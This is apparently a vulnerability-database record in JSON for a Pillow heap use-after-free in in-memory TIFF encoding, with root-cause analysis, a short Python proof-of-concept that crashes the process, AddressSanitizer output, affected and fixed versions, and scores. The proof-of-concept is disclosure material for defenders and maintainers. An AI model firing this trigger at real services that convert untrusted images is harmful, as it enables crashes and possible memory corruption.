{"schema":"threatline.record/2","record":{"id":"CVE-2026-112396","aliases":["GHSA-4rr5-89j8-mwwm"],"summary":"Pillow: Heap use-after-free when encoding TIFF to an in-memory buffer","details":"### Summary\nSaving an image as TIFF to an in-memory buffer can trigger a heap use-after-free if libtiff rejects a tag at encode time. When `TIFFWriteScanline` fails, the encoder frees its output buffer but leaves the libtiff handle open. Later, when the encoder object is torn down, `TIFFClose` flushes buffered bytes through the write callback and writes into the freed buffer. An application that re-encodes attacker-influenced images to TIFF in memory can be crashed and is a candidate for remote code execution.\n\n### Details\nThe failure path in `ImagingLibTiffEncode` frees `clientstate->data` for the in-memory case but does not close the TIFF or null `clientstate->tiff` (the file-descriptor branch just above it does set `tiff = NULL`):\n\n- `src/libImaging/TiffDecode.c:1041-1046`\n\nTeardown then calls `ImagingLibTiffEncodeCleanup`, which runs `TIFFClose(tiff)` because `tiff` is still set:\n\n- `src/encode.c:99-101`\n- `src/libImaging/TiffDecode.c:955`\n\n`TIFFClose` flushes through `_tiffWriteProc`, which reallocs and memcpys into the freed `state->data`:\n\n- `src/libImaging/TiffDecode.c:103-115`\n\nThe Predictor tag is a convenient trigger: the floating-point predictor (value 3) is invalid for integer sample data, so libtiff aborts the write.\n\n### PoC\n```python\nimport io\nfrom PIL import Image\n\n# In-memory TIFF re-encode. libtiff rejects Predictor=3 (floating point) on integer\n# data, so TIFFWriteScanline fails. The encoder frees clientstate->data but leaves the\n# TIFF open; cleanup's TIFFClose then writes through the callback into the freed buffer.\nim = Image.new(\"L\", (64, 64))\nbuf = io.BytesIO()\nim.save(buf, format=\"TIFF\", compression=\"tiff_lzw\", tiffinfo={317: 3})  # 317 = Predictor\n```\n\nRun it:\n```\n$ python 01_poc.py\nPredictorSetup: Floating point \"Predictor\" not supported with 1 data format.\nOSError: encoder error -2 when writing image file\nSegmentation fault (core dumped)\n```\n\nObserved on a source build of commit `3e2ab96` with libtiff. The process aborts during cleanup after the encoder error. Depending on heap state the same run sometimes reports `corrupted double-linked list` instead of a segfault; both are the same write into freed memory.\n\nUnder AddressSanitizer (build with `-fsanitize=address`), relevant frames:\n```\n==ERROR: AddressSanitizer: heap-use-after-free on address 0x7ef737b48804\nWRITE of size 4 at 0x7ef737b48804 thread T0\n    #1 _tiffWriteProc                 src/libImaging/TiffDecode.c:115\n    #3 TIFFFlush                      libtiff.so.6\n    #5 TIFFClose                      libtiff.so.6\n    #6 ImagingLibTiffEncodeCleanup    src/libImaging/TiffDecode.c:955\n    #7 _dealloc                       src/encode.c:100\nfreed by thread T0 here:\n    #1 ImagingLibTiffEncode           src/libImaging/TiffDecode.c:1045\n    #2 _encode                        src/encode.c:139\npreviously allocated by thread T0 here:\n    #1 ImagingLibTiffEncodeInit       src/libImaging/TiffDecode.c:863\n    #2 PyImaging_LibTiffEncoderNew    src/encode.c:757\nSUMMARY: AddressSanitizer: heap-use-after-free src/libImaging/TiffDecode.c:115 in _tiffWriteProc\n```\nThe buffer allocated in `ImagingLibTiffEncodeInit` is freed in `ImagingLibTiffEncode`, then written by `_tiffWriteProc` during the `TIFFClose` flush that runs from the encoder's `_dealloc`.\n\n### Impact\nUse-after-free in a C extension. Affects any service that converts or thumbnails untrusted images to TIFF in memory (a `BytesIO` or other non-seekable target). Result is a crash and possible memory corruption leading to code execution.","categories":["Libraries & packages"],"product":"pillow","vendor":"python-pillow","ecosystem":"pip","affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-4rr5-89j8-mwwm","source_modified_at":"2026-10-21T21:24:20Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"pip","name":"pillow"},"range":">= 11.3.0, < 13.0.0"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-112396","source_modified_at":"2026-10-20T16:09:21.913Z","fetched_at":"2026-10-23T18:45:31.882637Z","product":"Pillow","vendor":"python-pillow","versions":[{"status":"affected","version":">= 11.3.0, < 13.0.0"}],"defaultStatus":null},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-4rr5-89j8-mwwm","source_modified_at":"2026-10-21T21:45:08.356370081Z","fetched_at":"2026-10-23T18:48:36.087640Z","package":{"name":"pillow","ecosystem":"PyPI","purl":"pkg:pypi/pillow"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.3.0"},{"fixed":"13.0.0"}]}],"versions":["11.3.0","12.0.0","12.1.0","12.1.1","12.2.0","12.3.0"]}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-4rr5-89j8-mwwm","source_modified_at":"2026-10-21T21:24:20Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"pip","name":"pillow"},"version":"13.0.0"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-4rr5-89j8-mwwm","source_modified_at":"2026-10-21T21:45:08.356370081Z","fetched_at":"2026-10-23T18:48:36.087640Z","package":{"name":"pillow","ecosystem":"PyPI","purl":"pkg:pypi/pillow"},"version":"13.0.0"}],"cvss":5.9,"severity":"Medium","kev":{"listed":false},"epss":{"probability":0.00462,"percentile":0.39122,"score_date":"2026-10-23"},"published_at":"2026-10-19T21:02:15.197Z","modified_at":"2026-10-21T21:45:08.356370081Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/advisories/GHSA-4rr5-89j8-mwwm","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-21T21:24:20Z"},{"source":"CVE List","url":"https://www.cve.org/CVERecord?id=CVE-2026-112396","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-10-20T16:09:21.913Z"},{"source":"OSV","url":"https://osv.dev/vulnerability/GHSA-4rr5-89j8-mwwm","fetched_at":"2026-10-23T18:48:36.087640Z","source_modified_at":"2026-10-21T21:45:08.356370081Z"},{"source":"EPSS","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112396","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-23"}],"sources":["GitHub Advisory Database","CVE List","OSV","EPSS"],"references":[{"source":"CVE List","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-4rr5-89j8-mwwm","tags":["x_refsource_CONFIRM"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112396","source":"GitHub Advisory Database"},{"source":"CVE List","url":"https://github.com/python-pillow/Pillow/commit/dc95da20207827a062cfbf551ee9f6031465a8bb","tags":["x_refsource_MISC"]},{"source":"CVE List","url":"https://github.com/python-pillow/Pillow/releases/tag/13.0.0","tags":["x_refsource_MISC"]},{"url":"https://github.com/advisories/GHSA-4rr5-89j8-mwwm","source":"GitHub Advisory Database"}],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"cve_state":"PUBLISHED","ssvc":{"exploitation":"none","automatable":"no","technical_impact":"partial","assessed_at":"2026-10-20T15:10:26.056158Z"},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":"product","confidence":"heuristic","reviewed":false},"change_timestamp":"2026-10-21T21:45:08.356370081Z","content_hash":"223e8c8aad89d3c91d955fa4bced6f3e93cc1578d3637069c9472eb13015edeb"}}
